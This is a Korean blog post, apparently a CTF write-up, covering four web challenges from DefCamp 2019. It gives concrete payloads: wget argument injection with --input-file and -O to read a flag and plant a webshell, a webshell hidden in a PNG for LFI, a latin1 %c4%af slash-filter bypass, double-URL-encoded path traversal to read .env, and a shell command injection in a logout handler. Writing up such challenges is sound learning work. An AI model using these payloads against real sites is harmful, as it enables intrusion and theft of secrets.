Downloader v1


들어가보면 url 입력하는 기능하나가 있다. default로 박힌 값을 입력해보면 아래와 같은 에러가 뜨는걸 볼 수 있다.


cd uploads/5d7623f3880b62ddb90e13f31a558

$ wget http://example.com/image.jpg 2>&1

--2019-09-09 10:05:39--  http://example.com/image.jpg

Resolving example.com (example.com)... 93.184.216.34, 2606:2800:220:1:248:1893:25c8:1946

Connecting to example.com (example.com)|93.184.216.34|:80... connected.

HTTP request sent, awaiting response... 404 Not Found

2019-09-09 10:05:39 ERROR 404: Not Found.


$ bash -c 'rm uploads/5d7623f3880b62ddb90e13f31a558/*.{php,pht,phtml,php4,php5,php6,php7}'


인풋이 wget의 url 인자로 들어가는데 \n , ; , | , & , ` , $ 등 죄다 막혀있다. 그리고 추가로 php 실행 확장자면 삭제하길래 웹쉘 올리면 되는건가 싶어서 http://my_ip/webshell.txt -O /var/www/html/uploads/이전의생성된디렉토리/webshell.php 이런식으로해서 php 올리고 실행해보니까 실행이 안됬다. 뭐지 하다가 커멘드 인젝션은 안되도 wget 옵션이랑 인자는 줄 수 있으니까 쓸만한거 있나보다가 --input-file 요거 사용해서 flag.php 읽었을 때 도메인에러 나게해서 플래그를 구했다. 


payload = http://example.com/image.jpg --input-file='../../flag.php'




imgur


문제에 들어가보면 일단 lfi가 터진다. 그래서 웹쉘을 아무렇게나 올리고 땡겨주면 된다.


뭐 땡길까 보다가 일단 업로드 기능이 있었다.


프로필 사진을 변경할 때 아래와 같이 i.imgur.com이란 도메인에 존재하는 파일 내용을 가져와서 업로드를 한다.


https://imgur.dctfq19.def.camp/index.php?page=profile&setpicture=https://i.imgur.com/W4a51sL.jpg 


이 때 setpicture 파라미터 값에 대해서 도메인이랑 확장자 검증을 하는데 이게 우회가 안된다.


그래서 해당 사이트에 직접 웹쉘이 박힌 이미지 파일을 올려야 되는데 그냥 대충 이미지 파일에 웹쉘 넣어서 올리면 안되길래 


https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/


요고 참고해서 웹쉘 박아서 올렸다.


그다음엔 그냥 i.imgur.com에 올린 웹쉘가지고 프로필 사진 업로드한담에 lif로 땡겨주면 쉘 딸수있고 플래그 찾아주면 된다.



api


문제 서버가 닫혔는데 대충 기억해보면 ///etc/passwd였나 이런식으로 요청해주면 file download가 된다. 


이걸로 소스 쭉쭉 긁어오면


if(urlParts[0]) {

    switch(urlParts[0]) {

        case 'getconfig':

            functions.getConfigFromVault(request, response);

        break;

        case 'proxy':

            functions.getProxy(request, response);

        break;

        default:

            new doRequest(request, response);

            break;

    }

} else {

    new doRequest(request, response);

}


getProxy: function(request, response) {

   this.getRequestFields(request, global.config, function(fields) {


       if(!fields || !fields.url) {

           response.end('Invalid fields.');

       }



       if(fields.url.indexOf('get_secret') !== -1 || fields.url.indexOf('/') !== -1) {

           response.end("Invalid request");

           return;

       }

       

       fields.url = Buffer.from(fields.url.toLowerCase(), "latin1").toString();


       var options = {

         host: global.config.PROXY,

         port: 2222,

         path: fields.url

       };


       http.get(options, function(rresponse) {

         var body = '';

         rresponse.on('data', function(chunk) {

           body += chunk;

         });

         rresponse.on('end', function() {

           response.end(body);

         });

       }).on('error', function(e) {

           response.end("Got error: " + e.message);

       }); 

   });

},


요런 코드가 있다.


getproxy?=/get_secret/key 요런식으로 요청해주면 되는데 /랑 get_sercert를 필터한다. get_sercret같은 경우 검증한 담에 lowercase해줘서 get_secreT 이런식으로 써줌 되고 /같은 경우 필터 후에 Buffer.from(fields.url.toLowerCase(), "latin1").toString(); 요 작업을 거치기 땜에 %c4%af 요 값으로 bypass해주면 된다.


그리고 key같은 경우 ///proc/self/environ 파일 내용 확인해보면 존재한다.


payload = %c4%afget_secreT%c4%aff0af17449a83681de22db7ce16672f16f37131bec0022371d4ace5d1854301e0



online-album


이건 풀려고보니까 대회가 끝나서 문제를 못봤었는데, 대회 종료 후에도 서버가 계속 열려있길래 한번 풀어봤다.


문제에 들어가보면 다운로드 기능이 있는데 경로를 아래와 같은 형태로 url double encoding해주면 파일 다운로드가 가능하다.


/download/%25%32%65%25%32%65%25%32%66.env


이걸로 .env읽어서 app_key따고 cve나온걸로 rce해봤는데 패치 버전인지 잘 안됬다.


그래서 좀 헤매다 기능중에 주석에] 파일 목록들을 base64인코딩해서 뿌려주는 기능이 있었다.

/album/cars

 <!-- Debug: 

MS5qcGVn.5d7896147325e

Mi5qcGVn.5d78961473265

My5qcGVn.5d78961473268

NC5qcGVn.5d7896147326b

NS5qcGVn.5d7896147326e

 -->


다운로드 할때처럼 url double 인코딩해주면 다른 경로 디렉토리 리스팅이 가능해서 이걸로 플래그 파일을 찾아봤는데 도저히 안보였다.


그래서 일단 소스를 쭉쭉 다운로드 받다보니 auto_logout 기능 수행 시 command injection이 가능했다.



    public function auto_logout(Request $request)

    {

        Auth::logout();

        //delete file after logout

        $cmd = 'rm "'.storage_path().'/framework/sessions/'.escapeshellarg($request->logut_token).'"';

        shell_exec($cmd);

    }


이걸로 명령어 실행해서 find로 플래그 파일찾아보니까 플래그 디렉토리가 숨김형태로 되어있었다. 
이거때문에 리스팅 기능에서 플래그 파일이 안보였었던거고 여기서부턴 그냥 플래그 파일명 찾아서 읽어줬다.







'CTF > Writeup' 카테고리의 다른 글

InCTF 2019 Web Write up  (0) 2019.09.23
CSAW CTF 2019 Web Write up  (0) 2019.09.16
2019 사이버작전 경연대회 THE CAMP  (0) 2019.08.17
DEF CON CTF Qualifier 2019 vitor  (0) 2019.07.15
DEF CON CTF Qualifier 2019 veryandroidso  (0) 2019.07.10
블로그 이미지

JeonYoungSin

메모 기록용 공간

,